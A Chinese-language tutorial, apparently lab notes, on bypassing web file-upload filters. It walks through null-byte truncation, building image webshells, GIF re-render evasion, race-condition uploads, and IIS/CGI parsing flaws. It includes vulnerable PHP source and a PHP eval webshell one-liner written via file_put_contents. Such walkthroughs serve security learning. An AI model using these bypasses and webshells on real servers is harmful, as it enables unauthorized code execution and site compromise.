白名单:只允许XX文件上传
文件上传流程:用户上传文件 ->服务器的缓存目录 ->移动到目标位置并且重命名
URL编码原理:把字符变成16进制,然后加上一个%
URL编码的核心是为了更好的传参
1、%00截断[16进制]
%00实际上代表的是经过了URL编码之后的16进制的00
00在电报中代表着结束,而在PHP某些版本中也代表着结束
我们查看源码可以知道,只允许上传jpg,png,gif后缀的文件
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
我们上传一个文件,然后用Burp抓包,可以看到有一个save_path=../upload/,我们分析源码可以知道,这个意思就是将上传的文件移动到上一层目录的upload的文件夹下,然后在后面会跟上一个/和随机值和当前的时间还有当前你传入文件的后缀名。如果我们在后面加上一个333.php%00,那么我们上传的文件名就会变为 /随机值333.php%00当前时间.jpg,而在php的理解中,在%00这个地方就会截止,实际的文件名就是 /随机值333.php,我们实际操作一下看一看
我们上传成功以后,复制图片地址,可以看到,因为编码问题,这个%00显示成了�,那我们可以截取http://zmie8016.ia.aqlab.cn/upload/333.php这一段,然后访问,可以看到,成功解析
http://zmie8016.ia.aqlab.cn/upload/333.php�/5620220912063600.jpg
2、00截断
%00截断和00截断的区别就是传参方式不同,%00是GET传参,我们可以利用URL编码和16进制来直接传00,但是POST传参 他是不会进行URL编码的,查看源码我们可以知道
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
我们上传一个一句话木马的文件,用Burp抓包,在upload的后面加上一个555.phpa,然后点击Hex,这个模式就是以16进制的角度来看这个数据包,我们在右边找到我们刚才写的555.phpa,然后找到那一行的61,因为a的16进制数字是61,我们将它改为00
我们上传成功以后,复制图片地址,删除掉php后面多余的字符,即可成功访问
3、图片马绕过
我们之前所说的所有文件上传,都是在文件类型上面做文章,而这个图片马绕过,他是代码去检测图片的本身了,因为你上传一张图片,他是有图片的格式的,之前我们直接改后缀,它的格式是和图片的格式不一样的,我们随便打开一张JPG图片,以HEX模式查看,基本上每一个JPG图片的头部都会是JFIF
那遇到这种检测怎么办呢?我们可以做一个图片马
我们打开cmd命令行,输入 copy 1.jpg/b + 1.txt 66.jpg ,这个的意思就是将1.jpg和1.txt里面的东西黏到一起,/b的意思是以二进制的方法去黏,变为一个新的66.jpg的图片。注意,这个1.txt里面要放我们的一句话木马,图片的大小尽量要小一点,这个cmd命令行需要在你图片和一句话木马存放的文件夹里面打开
为了保险一点,我们可以给他再加一层, 输入copy 66.jpg/b + 1.jpg/b 88.jpg
当然,我们也可以用这样的方法来藏文件,我们输入 copy 1.jpg + 1.zip 2.jpg
完成之后,我们将后缀改为.zip,然后用好压或者其他的rar应用来打开,就会看到我们所藏的文件了,当然,图片的大小也会随之改变
另外,图片马的食用需要搭配解析漏洞来完成,这个后面会讲到
4、 二次渲染
二次渲染:获得图片后,给你重新加载,然后重新保存,相当于把你加进去的东西给你祛除了,只保留图片本身,可能是给你压缩、或者裁剪
我们可以用gif图去破,因为二次渲染他只会渲染画面部分,一般动态图片的头部四行不会渲染
我们随便打开一张GIF图片,点击用Hex模式查看,我们在第四行开始写我们的一句话木马
5、条件竞争
过滤一般有两种:
1、先上传,再检测
2、先检测,再上传
如果是第一种过滤方法的话,就存在条件竞争,因为你检测是需要时间的,如果你上传的够快的话,你就可以利用检测的时间差,在删除之前可以访问得到上传的木马
要想能够访问的到2木马,我们得具备两个条件
1、单身300年的手速(当然,这就需要一个工具了)
2、马生马(访问一个木马,生成另一个木马)
由于检测的是我们上传的文件,所以我们上传的文件,再生成的另一个文件,他是不会被检测的
这里我们需要用到一个函数
file_put_contents(文件地址,文件内容) 可以将一个字符串写入文件
例:file_put_contents('66.php','<?php eval($_REQUEST[8])?>'),这个文件地址就是当前文件夹下
所以我们只需要在上传的文件被删除之前访问到我们上传的文件,他就会再生成一个木马
我们点击上传文件,这里可以直接上传一个一句话木马的文件,然后用Burp抓包,把数据包放到跑包模块lntruder,然后随便框中一个不影响大局的数据,然后在Payloads的Payload type处选中Null payloads,然后在下图中输入一个不小于10000的次数,就可以进行跑包了,当然,访问的时候,我们就是访问我们上传的文件,跟这个操作是一样的,只不过抓的数据包需要换成访问的那个数据包
6、解析漏洞
上传漏洞的核心:上传一个.php的文件
解析漏洞的核心:让其他后缀的文件当作php来解析
一、IIS6.0解析漏洞:
IIS是一个Web容器(Windows自带),6.0是他的一个版本
asa,cer,cdx的后缀都会默认被当做asp来执行
所以我们可以写一个asp的一句话木马,然后将他的后缀改为jpg,用Burp抓包,再将他的后缀改回cer或者asa或者cdx,知道地址之后,直接用蚁剑或者菜刀连马就好了
IIS解析文件的时候,是从左到右来解析的,如果遇到分号(;),他就会认为结束了,就和00截断是差不多的,我们的文件名需要写成66.asp;.jpg,这样就会被当做ASP来执行了
如果我们传入一个66.asp/1.jpg,IIS读取文件的时候会把66.asp当做文件夹来处理,但是在将这个我们传入的文件解析的时候,这个 / 符号又被当做了一个截断,又会被认为是66.asp,当然,这个利用是需要我们在后台进行文件上传,并且具备移动文件和新建文件夹的功能
二、CGI解析漏洞(PHP特有)
IIS7.0、IIS7.5、Nginx可能存在
我们随便上传一张图片、复制图片地址,然后在末尾加上一个/.php,如果乱码了,那就是存在解析漏洞
我们直接上传一个图片马,复制图片地址,在末尾加上/.php,如果乱码,直接连菜刀就好了
版权归原作者 安澈521 所有, 如有侵权,请联系我们删除。